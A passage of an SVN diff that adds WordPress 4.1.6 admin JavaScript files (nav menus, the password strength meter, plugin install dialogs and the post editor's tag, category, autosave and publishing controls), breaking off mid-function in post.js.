+			window.onbeforeunload = null;
+
+			return true;
+		},
+
+		eventOnClickMenuDelete : function() {
+			// Delete warning AYS
+			if ( window.confirm( navMenuL10n.warnDeleteMenu ) ) {
+				window.onbeforeunload = null;
+				return true;
+			}
+			return false;
+		},
+
+		eventOnClickMenuItemDelete : function(clickedEl) {
+			var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);
+			api.removeMenuItem( $('#menu-item-' + itemID) );
+			api.registerChange();
+			return false;
+		},
+
+		/**
+		 * Process the quick search response into a search result
+		 *
+		 * @param string resp The server response to the query.
+		 * @param object req The request arguments.
+		 * @param jQuery panel The tabs panel we're searching in.
+		 */
+		processQuickSearchQueryResponse : function(resp, req, panel) {
+			var matched, newID,
+			takenIDs = {},
+			form = document.getElementById('nav-menu-meta'),
+			pattern = /menu-item[(\[^]\]*/,
+			$items = $('<div>').html(resp).find('li'),
+			$item;
+
+			if( ! $items.length ) {
+				$('.categorychecklist', panel).html( '<li><p>' + navMenuL10n.noResultsFound + '</p></li>' );
+				$('.spinner', panel).hide();
+				return;
+			}
+
+			$items.each(function(){
+				$item = $(this);
+
+				// make a unique DB ID number
+				matched = pattern.exec($item.html());
+
+				if ( matched && matched[1] ) {
+					newID = matched[1];
+					while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
+						newID--;
+					}
+
+					takenIDs[newID] = true;
+					if ( newID != matched[1] ) {
+						$item.html( $item.html().replace(new RegExp(
+							'menu-item\\[' + matched[1] + '\\]', 'g'),
+							'menu-item[' + newID + ']'
+						) );
+					}
+				}
+			});
+
+			$('.categorychecklist', panel).html( $items );
+			$('.spinner', panel).hide();
+		},
+
+		removeMenuItem : function(el) {
+			var children = el.childMenuItems();
+
+			el.addClass('deleting').animate({
+					opacity : 0,
+					height: 0
+				}, 350, function() {
+					var ins = $('#menu-instructions');
+					el.remove();
+					children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
+					if ( 0 === $( '#menu-to-edit li' ).length ) {
+						$( '.drag-instructions' ).hide();
+						ins.removeClass( 'menu-instructions-inactive' );
+					}
+				});
+		},
+
+		depthToPx : function(depth) {
+			return depth * api.options.menuItemDepthPerLevel;
+		},
+
+		pxToDepth : function(px) {
+			return Math.floor(px / api.options.menuItemDepthPerLevel);
+		}
+
+	};
+
+	$(document).ready(function(){ wpNavMenu.init(); });
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/password-strength-meter.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/password-strength-meter.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/password-strength-meter.js	(revision 33402)
@@ -0,0 +1,75 @@
+/* global zxcvbn */
+window.wp = window.wp || {};
+
+var passwordStrength;
+(function($){
+	wp.passwordStrength = {
+		/**
+		 * Determine the strength of a given password
+		 *
+		 * @param string password1 The password
+		 * @param array blacklist An array of words that will lower the entropy of the password
+		 * @param string password2 The confirmed password
+		 */
+		meter : function( password1, blacklist, password2 ) {
+			if ( ! $.isArray( blacklist ) )
+				blacklist = [ blacklist.toString() ];
+
+			if (password1 != password2 && password2 && password2.length > 0)
+				return 5;
+
+			var result = zxcvbn( password1, blacklist );
+			return result.score;
+		},
+
+		/**
+		 * Builds an array of data that should be penalized, because it would lower the entropy of a password if it were used
+		 *
+		 * @return array The array of data to be blacklisted
+		 */
+		userInputBlacklist : function() {
+			var i, userInputFieldsLength, rawValuesLength, currentField,
+				rawValues       = [],
+				blacklist       = [],
+				userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ];
+
+			// Collect all the strings we want to blacklist
+			rawValues.push( document.title );
+			rawValues.push( document.URL );
+
+			userInputFieldsLength = userInputFields.length;
+			for ( i = 0; i < userInputFieldsLength; i++ ) {
+				currentField = $( '#' + userInputFields[ i ] );
+
+				if ( 0 === currentField.length ) {
+					continue;
+				}
+
+				rawValues.push( currentField[0].defaultValue );
+				rawValues.push( currentField.val() );
+			}
+
+			// Strip out non-alphanumeric characters and convert each word to an individual entry
+			rawValuesLength = rawValues.length;
+			for ( i = 0; i < rawValuesLength; i++ ) {
+				if ( rawValues[ i ] ) {
+					blacklist = blacklist.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) );
+				}
+			}
+
+			// Remove empty values, short words, and duplicates. Short words are likely to cause many false positives.
+			blacklist = $.grep( blacklist, function( value, key ) {
+				if ( '' === value || 4 > value.length ) {
+					return false;
+				}
+
+				return $.inArray( value, blacklist ) === key;
+			});
+
+			return blacklist;
+		}
+	};
+
+	// Backwards compatibility.
+	passwordStrength = wp.passwordStrength.meter;
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/plugin-install.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/plugin-install.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/plugin-install.js	(revision 33402)
@@ -0,0 +1,76 @@
+/* global plugininstallL10n, tb_click, confirm */
+
+/* Plugin Browser Thickbox related JS*/
+var tb_position;
+jQuery( document ).ready( function( $ ) {
+	tb_position = function() {
+		var tbWindow = $( '#TB_window' ),
+			width = $( window ).width(),
+			H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
+			W = ( 792 < width ) ? 772 : width - 20;
+
+		if ( tbWindow.size() ) {
+			tbWindow.width( W ).height( H );
+			$( '#TB_iframeContent' ).width( W ).height( H );
+			tbWindow.css({
+				'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
+			});
+			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
+				tbWindow.css({
+					'top': '30px',
+					'margin-top': '0'
+				});
+			}
+		}
+
+		return $( 'a.thickbox' ).each( function() {
+			var href = $( this ).attr( 'href' );
+			if ( ! href ) {
+				return;
+			}
+			href = href.replace( /&width=[0-9]+/g, '' );
+			href = href.replace( /&height=[0-9]+/g, '' );
+			$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
+		});
+	};
+
+	$( window ).resize( function() {
+		tb_position();
+	});
+
+	$( '.plugin-card, .plugins .column-description' ).on( 'click', 'a.thickbox', function() {
+		tb_click.call(this);
+
+		$('#TB_title').css({'background-color':'#222','color':'#cfcfcf'});
+		$('#TB_ajaxWindowTitle').html( '<strong>' + plugininstallL10n.plugin_information + '</strong>&nbsp;' + $(this).data( 'title' ) );
+		$('#TB_iframeContent').attr( 'title', plugininstallL10n.plugin_information + ' ' + $(this).data( 'title' ) );
+		$('#TB_closeWindowButton').focus();
+
+		return false;
+	});
+
+	/* Plugin install related JS */
+	$( '#plugin-information-tabs a' ).click( function( event ) {
+		var tab = $( this ).attr( 'name' );
+		event.preventDefault();
+
+		// Flip the tab
+		$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
+		$( this ).addClass( 'current' );
+
+		// Only show the fyi box in the description section, on smaller screen, where it's otherwise always displayed at the top.
+		if ( 'description' !== tab && $( window ).width() < 772 ) {
+			$( '#plugin-information-content' ).find( '.fyi' ).hide();
+		} else {
+			$( '#plugin-information-content' ).find( '.fyi' ).show();
+		}
+
+		// Flip the content.
+		$( '#section-holder div.section' ).hide(); // Hide 'em all.
+		$( '#section-' + tab ).show();
+	});
+
+	$( 'a.install-now' ).click( function() {
+		return confirm( plugininstallL10n.ays );
+	});
+});
Index: /tags/4.1.6/src/wp-admin/js/post.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/post.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/post.js	(revision 33402)
@@ -0,0 +1,1094 @@
+/* global postL10n, ajaxurl, wpAjax, setPostThumbnailL10n, postboxes, pagenow, tinymce, alert, deleteUserSetting */
+/* global theList:true, theExtraList:true, getUserSetting, setUserSetting */
+
+var tagBox, commentsBox, WPSetThumbnailHTML, WPSetThumbnailID, WPRemoveThumbnail, wptitlehint, makeSlugeditClickable, editPermalink;
+// Back-compat: prevent fatal errors
+makeSlugeditClickable = editPermalink = function(){};
+
+window.wp = window.wp || {};
+
+// return an array with any duplicate, whitespace or values removed
+function array_unique_noempty(a) {
+	var out = [];
+	jQuery.each( a, function(key, val) {
+		val = jQuery.trim(val);
+		if ( val && jQuery.inArray(val, out) == -1 )
+			out.push(val);
+		} );
+	return out;
+}
+
+( function($) {
+	var titleHasFocus = false;
+
+tagBox = {
+	clean : function(tags) {
+		var comma = postL10n.comma;
+		if ( ',' !== comma )
+			tags = tags.replace(new RegExp(comma, 'g'), ',');
+		tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, '');
+		if ( ',' !== comma )
+			tags = tags.replace(/,/g, comma);
+		return tags;
+	},
+
+	parseTags : function(el) {
+		var id = el.id, num = id.split('-check-num-')[1], taxbox = $(el).closest('.tagsdiv'),
+			thetags = taxbox.find('.the-tags'), comma = postL10n.comma,
+			current_tags = thetags.val().split(comma), new_tags = [];
+		delete current_tags[num];
+
+		$.each( current_tags, function(key, val) {
+			val = $.trim(val);
+			if ( val ) {
+				new_tags.push(val);
+			}
+		});
+
+		thetags.val( this.clean( new_tags.join(comma) ) );
+
+		this.quickClicks(taxbox);
+		return false;
+	},
+
+	quickClicks : function(el) {
+		var thetags = $('.the-tags', el),
+			tagchecklist = $('.tagchecklist', el),
+			id = $(el).attr('id'),
+			current_tags, disabled;
+
+		if ( !thetags.length )
+			return;
+
+		disabled = thetags.prop('disabled');
+
+		current_tags = thetags.val().split(postL10n.comma);
+		tagchecklist.empty();
+
+		$.each( current_tags, function( key, val ) {
+			var span, xbutton;
+
+			val = $.trim( val );
+
+			if ( ! val )
+				return;
+
+			// Create a new span, and ensure the text is properly escaped.
+			span = $('<span />').text( val );
+
+			// If tags editing isn't disabled, create the X button.
+			if ( ! disabled ) {
+				xbutton = $( '<a id="' + id + '-check-num-' + key + '" class="ntdelbutton">X</a>' );
+				xbutton.click( function(){ tagBox.parseTags(this); });
+				span.prepend('&nbsp;').prepend( xbutton );
+			}
+
+			// Append the span to the tag list.
+			tagchecklist.append( span );
+		});
+	},
+
+	flushTags : function(el, a, f) {
+		var tagsval, newtags, text,
+			tags = $('.the-tags', el),
+			newtag = $('input.newtag', el),
+			comma = postL10n.comma;
+		a = a || false;
+
+		text = a ? $(a).text() : newtag.val();
+		tagsval = tags.val();
+		newtags = tagsval ? tagsval + comma + text : text;
+
+		newtags = this.clean( newtags );
+		newtags = array_unique_noempty( newtags.split(comma) ).join(comma);
+		tags.val(newtags);
+		this.quickClicks(el);
+
+		if ( !a )
+			newtag.val('');
+		if ( 'undefined' == typeof(f) )
+			newtag.focus();
+
+		return false;
+	},
+
+	get : function(id) {
+		var tax = id.substr(id.indexOf('-')+1);
+
+		$.post(ajaxurl, {'action':'get-tagcloud', 'tax':tax}, function(r, stat) {
+			if ( 0 === r || 'success' != stat )
+				r = wpAjax.broken;
+
+			r = $('<p id="tagcloud-'+tax+'" class="the-tagcloud">'+r+'</p>');
+			$('a', r).click(function(){
+				tagBox.flushTags( $(this).closest('.inside').children('.tagsdiv'), this);
+				return false;
+			});
+
+			$('#'+id).after(r);
+		});
+	},
+
+	init : function() {
+		var t = this, ajaxtag = $('div.ajaxtag');
+
+		$('.tagsdiv').each( function() {
+			tagBox.quickClicks(this);
+		});
+
+		$('input.tagadd', ajaxtag).click(function(){
+			t.flushTags( $(this).closest('.tagsdiv') );
+		});
+
+		$('div.taghint', ajaxtag).click(function(){
+			$(this).css('visibility', 'hidden').parent().siblings('.newtag').focus();
+		});
+
+		$('input.newtag', ajaxtag).blur(function() {
+			if ( '' === this.value )
+				$(this).parent().siblings('.taghint').css('visibility', '');
+		}).focus(function(){
+			$(this).parent().siblings('.taghint').css('visibility', 'hidden');
+		}).keyup(function(e){
+			if ( 13 == e.which ) {
+				tagBox.flushTags( $(this).closest('.tagsdiv') );
+				return false;
+			}
+		}).keypress(function(e){
+			if ( 13 == e.which ) {
+				e.preventDefault();
+				return false;
+			}
+		}).each(function(){
+			var tax = $(this).closest('div.tagsdiv').attr('id');
+			$(this).suggest( ajaxurl + '?action=ajax-tag-search&tax=' + tax, { delay: 500, minchars: 2, multiple: true, multipleSep: postL10n.comma + ' ' } );
+		});
+
+		// save tags on post save/publish
+		$('#post').submit(function(){
+			$('div.tagsdiv').each( function() {
+				tagBox.flushTags(this, false, 1);
+			});
+		});
+
+		// tag cloud
+		$('a.tagcloud-link').click(function(){
+			tagBox.get( $(this).attr('id') );
+			$(this).unbind().click(function(){
+				$(this).siblings('.the-tagcloud').toggle();
+				return false;
+			});
+			return false;
+		});
+	}
+};
+
+commentsBox = {
+	st : 0,
+
+	get : function(total, num) {
+		var st = this.st, data;
+		if ( ! num )
+			num = 20;
+
+		this.st += num;
+		this.total = total;
+		$('#commentsdiv .spinner').show();
+
+		data = {
+			'action' : 'get-comments',
+			'mode' : 'single',
+			'_ajax_nonce' : $('#add_comment_nonce').val(),
+			'p' : $('#post_ID').val(),
+			'start' : st,
+			'number' : num
+		};
+
+		$.post(ajaxurl, data,
+			function(r) {
+				r = wpAjax.parseAjaxResponse(r);
+				$('#commentsdiv .widefat').show();
+				$('#commentsdiv .spinner').hide();
+
+				if ( 'object' == typeof r && r.responses[0] ) {
+					$('#the-comment-list').append( r.responses[0].data );
+
+					theList = theExtraList = null;
+					$( 'a[className*=\':\']' ).unbind();
+
+					if ( commentsBox.st > commentsBox.total )
+						$('#show-comments').hide();
+					else
+						$('#show-comments').show().children('a').html(postL10n.showcomm);
+
+					return;
+				} else if ( 1 == r ) {
+					$('#show-comments').html(postL10n.endcomm);
+					return;
+				}
+
+				$('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
+			}
+		);
+
+		return false;
+	}
+};
+
+WPSetThumbnailHTML = function(html){
+	$('.inside', '#postimagediv').html(html);
+};
+
+WPSetThumbnailID = function(id){
+	var field = $('input[value="_thumbnail_id"]', '#list-table');
+	if ( field.size() > 0 ) {
+		$('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
+	}
+};
+
+WPRemoveThumbnail = function(nonce){
+	$.post(ajaxurl, {
+		action: 'set-post-thumbnail', post_id: $( '#post_ID' ).val(), thumbnail_id: -1, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
+	}, function(str){
+		if ( str == '0' ) {
+			alert( setPostThumbnailL10n.error );
+		} else {
+			WPSetThumbnailHTML(str);
+		}
+	}
+	);
+};
+
+$(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
+	var lock = $('#active_post_lock').val(),
+		post_id = $('#post_ID').val(),
+		send = {};
+
+	if ( ! post_id || ! $('#post-lock-dialog').length )
+		return;
+
+	send.post_id = post_id;
+
+	if ( lock )
+		send.lock = lock;
+
+	data['wp-refresh-post-lock'] = send;
+
+}).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
+	// Post locks: update the lock string or show the dialog if somebody has taken over editing
+	var received, wrap, avatar;
+
+	if ( data['wp-refresh-post-lock'] ) {
+		received = data['wp-refresh-post-lock'];
+
+		if ( received.lock_error ) {
+			// show "editing taken over" message
+			wrap = $('#post-lock-dialog');
+
+			if ( wrap.length && ! wrap.is(':visible') ) {
+				if ( wp.autosave ) {
+					// Save the latest changes and disable
+					$(document).one( 'heartbeat-tick', function() {
+						wp.autosave.server.suspend();
+						wrap.removeClass('saving').addClass('saved');
+						$(window).off( 'beforeunload.edit-post' );
+					});
+
+					wrap.addClass('saving');
+					wp.autosave.server.triggerSave();
+				}
+
+				if ( received.lock_error.avatar_src ) {
+					avatar = $('<img class="avatar avatar-64 photo" width="64" height="64" />').attr( 'src', received.lock_error.avatar_src.replace(/&amp;/g, '&') );
+					wrap.find('div.post-locked-avatar').empty().append( avatar );
+				}
+
+				wrap.show().find('.currently-editing').text( received.lock_error.text );
+				wrap.find('.wp-tab-first').focus();
+			}
+		} else if ( received.new_lock ) {
+			$('#active_post_lock').val( received.new_lock );
+		}
+	}
+}).on( 'before-autosave.update-post-slug', function() {
+	titleHasFocus = document.activeElement && document.activeElement.id === 'title';
+}).on( 'after-autosave.update-post-slug', function() {
+	// Create slug area only if not already there
+	// and the title field was not focused (user was not typing a title) when autosave ran
+	if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
+		$.post( ajaxurl, {
+				action: 'sample-permalink',
+				post_id: $('#post_ID').val(),
+				new_title: $('#title').val(),
+				samplepermalinknonce: $('#samplepermalinknonce').val()
+			},
+			function( data ) {
+				if ( data != '-1' ) {
+					$('#edit-slug-box').html(data);
+				}
+			}
+		);
+	}
+});
+
+}(jQuery));
+
+(function($) {
+	var check, timeout;
+
+	function schedule() {
+		check = false;
+		window.clearTimeout( timeout );
+		timeout = window.setTimeout( function(){ check = true; }, 300000 );
+	}
+
+	$(document).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
+		var nonce, post_id;
+
+		if ( check ) {
+			if ( ( post_id = $('#post_ID').val() ) && ( nonce = $('#_wpnonce').val() ) ) {
+				data['wp-refresh-post-nonces'] = {
+					post_id: post_id,
+					post_nonce: nonce
+				};
+			}
+		}
+	}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
+		var nonces = data['wp-refresh-post-nonces'];
+
+		if ( nonces ) {
+			schedule();
+
+			if ( nonces.replace ) {
+				$.each( nonces.replace, function( selector, value ) {
+					$( '#' + selector ).val( value );
+				});
+			}
+
+			if ( nonces.heartbeatNonce )
+				window.heartbeatSettings.nonce = nonces.heartbeatNonce;
+		}
+	}).ready( function() {
+		schedule();
+	});
+}(jQuery));
+
+jQuery(document).ready( function($) {
+	var stamp, visibility, $submitButtons, updateVisibility, updateText,
+		sticky = '',
+		last = 0,
+		co = $('#content'),
+		$document = $(document),
+		$editSlugWrap = $('#edit-slug-box'),
+		postId = $('#post_ID').val() || 0,
+		$submitpost = $('#submitpost'),
+		releaseLock = true,
+		$postVisibilitySelect = $('#post-visibility-select'),
+		$timestampdiv = $('#timestampdiv'),
+		$postStatusSelect = $('#post-status-select');
+
+	postboxes.add_postbox_toggles(pagenow);
+
+	// Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
+	// and the first post is still being edited, clicking Preview there will use this window to show the preview.
+	window.name = '';
+
+	// Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
+	$('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
+		if ( e.which != 9 )
+			return;
+
+		var target = $(e.target);
+
+		if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
+			$(this).find('.wp-tab-last').focus();
+			e.preventDefault();
+		} else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
+			$(this).find('.wp-tab-first').focus();
+			e.preventDefault();
+		}
+	}).filter(':visible').find('.wp-tab-first').focus();
+
+	// Set the heartbeat interval to 15 sec. if post lock dialogs are enabled
+	if ( wp.heartbeat && $('#post-lock-dialog').length ) {
+		wp.heartbeat.interval( 15 );
+	}
+
+	// The form is being submitted by the user
+	$submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
+		var $button = $(this);
+
+		if ( $button.hasClass('disabled') ) {
+			event.preventDefault();
+			return;
+		}
+
+		if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
+			return;
+		}
+
+		// The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
+		// Run this only on an actual 'submit'.
+		$('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
+			if ( event.isDefaultPrevented() ) {
+				return;
+			}
+
+			// Stop autosave
+			if ( wp.autosave ) {
+				wp.autosave.server.suspend();
+			}
+
+			releaseLock = false;
+			$(window).off( 'beforeunload.edit-post' );
+
+			$submitButtons.addClass( 'disabled' );
+
+			if ( $button.attr('id') === 'publish' ) {
+				$submitpost.find('#major-publishing-actions .spinner').show();
+			} else {
+				$submitpost.find('#minor-publishing .spinner').show();
+			}
+		});
+	});
+
+	// Submit the form saving a draft or an autosave, and show a preview in a new tab
+	$('#post-preview').on( 'click.post-preview', function( event ) {
+		var $this = $(this),
+			$form = $('form#post'),
+			$previewField = $('input#wp-preview'),
+			target = $this.attr('target') || 'wp-preview',
+			ua = navigator.userAgent.toLowerCase();
+
+		event.preventDefault();
+
+		if ( $this.hasClass('disabled') ) {
+			return;
+		}
+
+		if ( wp.autosave ) {
+			wp.autosave.server.tempBlockSave();
+		}
+
+		$previewField.val('dopreview');
+		$form.attr( 'target', target ).submit().attr( 'target', '' );
+
+		// Workaround for WebKit bug preventing a form submitting twice to the same action.
+		// https://bugs.webkit.org/show_bug.cgi?id=28633
+		if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
+			$form.attr( 'action', function( index, value ) {
+				return value + '?t=' + ( new Date() ).getTime();
+			});
+		}
+
+		$previewField.val('');
+	});
+
+	// This code is meant to allow tabbing from Title to Post content.
+	$('#title').on( 'keydown.editor-focus', function( event ) {
+		var editor, $textarea;
+
+		if ( event.keyCode === 9 && ! event.ctrlKey && ! event.altKey && ! event.shiftKey ) {
+			editor = typeof tinymce != 'undefined' && tinymce.get('content');
+			$textarea = $('#content');
+
+			if ( editor && ! editor.isHidden() ) {
+				editor.focus();
+			} else if ( $textarea.length ) {
+				$textarea.focus();
+			} else {
+				return;
+			}
+
+			event.preventDefault();
+		}
+	});
+
+	// Autosave new posts after a title is typed
+	if ( $( '#auto_draft' ).val() ) {
+		$( '#title' ).blur( function() {
+			var cancel;
+
+			if ( ! this.value || $('#edit-slug-box > *').length ) {
+				return;
+			}
+
+			// Cancel the autosave when the blur was triggered by the user submitting the form
+			$('form#post').one( 'submit', function() {
+				cancel = true;
+			});
+
+			window.setTimeout( function() {
+				if ( ! cancel && wp.autosave ) {
+					wp.autosave.server.triggerSave();
+				}
+			}, 200 );
+		});
+	}
+
+	$document.on( 'autosave-disable-buttons.edit-post', function() {
+		$submitButtons.addClass( 'disabled' );
+	}).on( 'autosave-enable-buttons.edit-post', function() {
+		if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
+			$submitButtons.removeClass( 'disabled' );
+		}
+	}).on( 'before-autosave.edit-post', function() {
+		$( '.autosave-message' ).text( postL10n.savingText );
+	}).on( 'after-autosave.edit-post', function( event, data ) {
+		$( '.autosave-message' ).text( data.message );
+	});
+
+	$(window).on( 'beforeunload.edit-post', function() {
+		var editor = typeof tinymce !== 'undefined' && tinymce.get('content');
+
+		if ( ( editor && ! editor.isHidden() && editor.isDirty() ) ||
+			( wp.autosave && wp.autosave.server.postChanged() ) ) {
+
+			return postL10n.saveAlert;
+		}
+	}).on( 'unload.edit-post', function( event ) {
+		if ( ! releaseLock ) {
+			return;
+		}
+
+		// Unload is triggered (by hand) on removing the Thickbox iframe.
+		// Make sure we process only the main document unload.
+		if ( event.target && event.target.nodeName != '#document' ) {
+			return;
+		}
+
+		$.ajax({
+			type: 'POST',
+			url: ajaxurl,
+			async: false,
+			data: {
+				action: 'wp-remove-post-lock',
+				_wpnonce: $('#_wpnonce').val(),
+				post_ID: $('#post_ID').val(),
+				active_post_lock: $('#active_post_lock').val()
+			}
+		});
+	});
+
+	// multi-taxonomies
+	if ( $('#tagsdiv-post_tag').length ) {
+		tagBox.init();
+	} else {
+		$('#side-sortables, #normal-sortables, #advanced-sortables').children('div.postbox').each(function(){
+			if ( this.id.indexOf('tagsdiv-') === 0 ) {
+				tagBox.init();
+				return false;
+			}
+		});
+	}
+
+	// categories
+	$('.categorydiv').each( function(){
+		var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;
+
+		taxonomyParts = this_id.split('-');
+		taxonomyParts.shift();
+		taxonomy = taxonomyParts.join('-');
+		settingName = taxonomy + '_tab';
+		if ( taxonomy == 'category' )
+			settingName = 'cats';
+
+		// TODO: move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js
+		$('a', '#' + taxonomy + '-tabs').click( function(){
+			var t = $(this).attr('href');
+			$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
+			$('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
+			$(t).show();
+			if ( '#' + taxonomy + '-all' == t )
+				deleteUserSetting( settingName );
+			else
+				setUserSetting( settingName, 'pop' );
+			return false;
+		});
+
+		if ( getUserSetting( settingName ) )
+			$('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').click();
+
+		// Ajax Cat
+		$( '#new' + taxonomy ).one( 'focus', function() { $( this ).val( '' ).removeClass( 'form-input-tip' ); } );
+
+		$('#new' + taxonomy).keypress( function(event){
+			if( 13 === event.keyCode ) {
+				event.preventDefault();
+				$('#' + taxonomy + '-add-submit').click();
+			}
+		});
+		$('#' + taxonomy + '-add-submit').click( function(){ $('#new' + taxonomy).focus(); });
+
+		catAddBefore = function( s ) {
+			if ( !$('#new'+taxonomy).val() )
+				return false;
+			s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
+			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
+			return s;
+		};
+
+		catAddAfter = function( r, s ) {
+			var sup, drop = $('#new'+taxonomy+'_parent');
+
+			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
+			if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
+				drop.before(sup);
+				drop.remove();
+			}
+		};
+
+		$('#' + taxonomy + 'checklist').wpList({
+			alt: '',
+			response: taxonomy + '-ajax-response',
+			addBefore: catAddBefore,
+			addAfter: catAddAfter
+		});
+
+		$('#' + taxonomy + '-add-toggle').click( function() {
+			$('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
+			$('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').click();
+			$('#new'+taxonomy).focus();
+			return false;
+		});
+
+		$('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on( 'click', 'li.popular-category > label input[type="checkbox"]', function() {
+			var t = $(this), c = t.is(':checked'), id = t.val();
+			if ( id && t.parents('#taxonomy-'+taxonomy).length )
+				$('#in-' + taxonomy + '-' + id + ', #in-popular-' + taxonomy + '-' + id).prop( 'checked', c );
+		});
+
+	}); // end cats
+
+	// Custom Fields
+	if ( $('#postcustom').length ) {
+		$( '#the-list' ).wpList( { addAfter: function() {
+			$('table#list-table').show();
+		}, addBefore: function( s ) {
+			s.data += '&post_id=' + $('#post_ID').val();
+			return s;
+		}
+		});
+	}
+
+	// submitdiv
+	if ( $('#submitdiv').length ) {
+		stamp = $('#timestamp').html();
+		visibility = $('#post-visibility-display').html();
+
+		updateVisibility = function() {
+			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
+				$('#sticky').prop('checked', false);
+				$('#sticky-span').hide();
+			} else {
+				$('#sticky-span').show();
+			}
+			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
+				$('#password-span').hide();
+			} else {
+				$('#password-span').show();
+			}
+		};
+
+		updateText = function() {
+
+			if ( ! $timestampdiv.length )
+				return true;
+
+			var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
+				optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
+				mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();
+
+			attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
+			originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val() );
+			currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val() );
+
+			if ( attemptedDate.getFullYear() != aa || (1 + attemptedDate.getMonth()) != mm || attemptedDate.getDate() != jj || attemptedDate.getMinutes() != mn ) {
+				$timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
+				return false;
+			} else {
+				$timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
+			}
+
+			if ( attemptedDate > currentDate && $('#original_post_status').val() != 'future' ) {
+				publishOn = postL10n.publishOnFuture;
+				$('#publish').val( postL10n.schedule );
+			} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
+				publishOn = postL10n.publishOn;
+				$('#publish').val( postL10n.publish );
+			} else {
+				publishOn = postL10n.publishOnPast;
+				$('#publish').val( postL10n.update );
+			}
+			if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) { //hack
+				$('#timestamp').html(stamp);
+			} else {
+				$('#timestamp').html(
+					publishOn + ' <b>' +
+					postL10n.dateFormat.replace( '%1$s', $('option[value="' + $('#mm').val() + '"]', '#mm').text() )
+						.replace( '%2$s', jj )
+						.replace( '%3$s', aa )
+						.replace( '%4$s', hh )
+						.replace( '%5$s', mn ) +
+						'</b> '
+				);
+			}
+
+			if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
+				$('#publish').val( postL10n.update );
+				if ( 0 === optPublish.length ) {
+					postStatus.append('<option value="publish">' + postL10n.privatelyPublished + '</option>');
+				} else {
+					optPublish.html( postL10n.privatelyPublished );
+				}
+				$('option[value="publish"]', postStatus).prop('selected', true);
+				$('#misc-publishing-actions .edit-post-status').hide();
+			} else {
+				if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
+					if ( optPublish.length ) {
+						optPublish.remove();
+						postStatus.val($('#hidden_post_status').val());
+					}
+				} else {
+					optPublish.html( postL10n.published );
+				}
+				if ( postStatus.is(':hidden') )
+					$('#misc-publishing-actions .edit-post-status').show();
+			}
+			$('#post-status-display').html($('option:selected', postStatus).text());
+			if ( $('option:selected', postStatus).val() == 'private' || $('option:selected', postStatus).val() == 'publish' ) {
+				$('#save-post').hide();
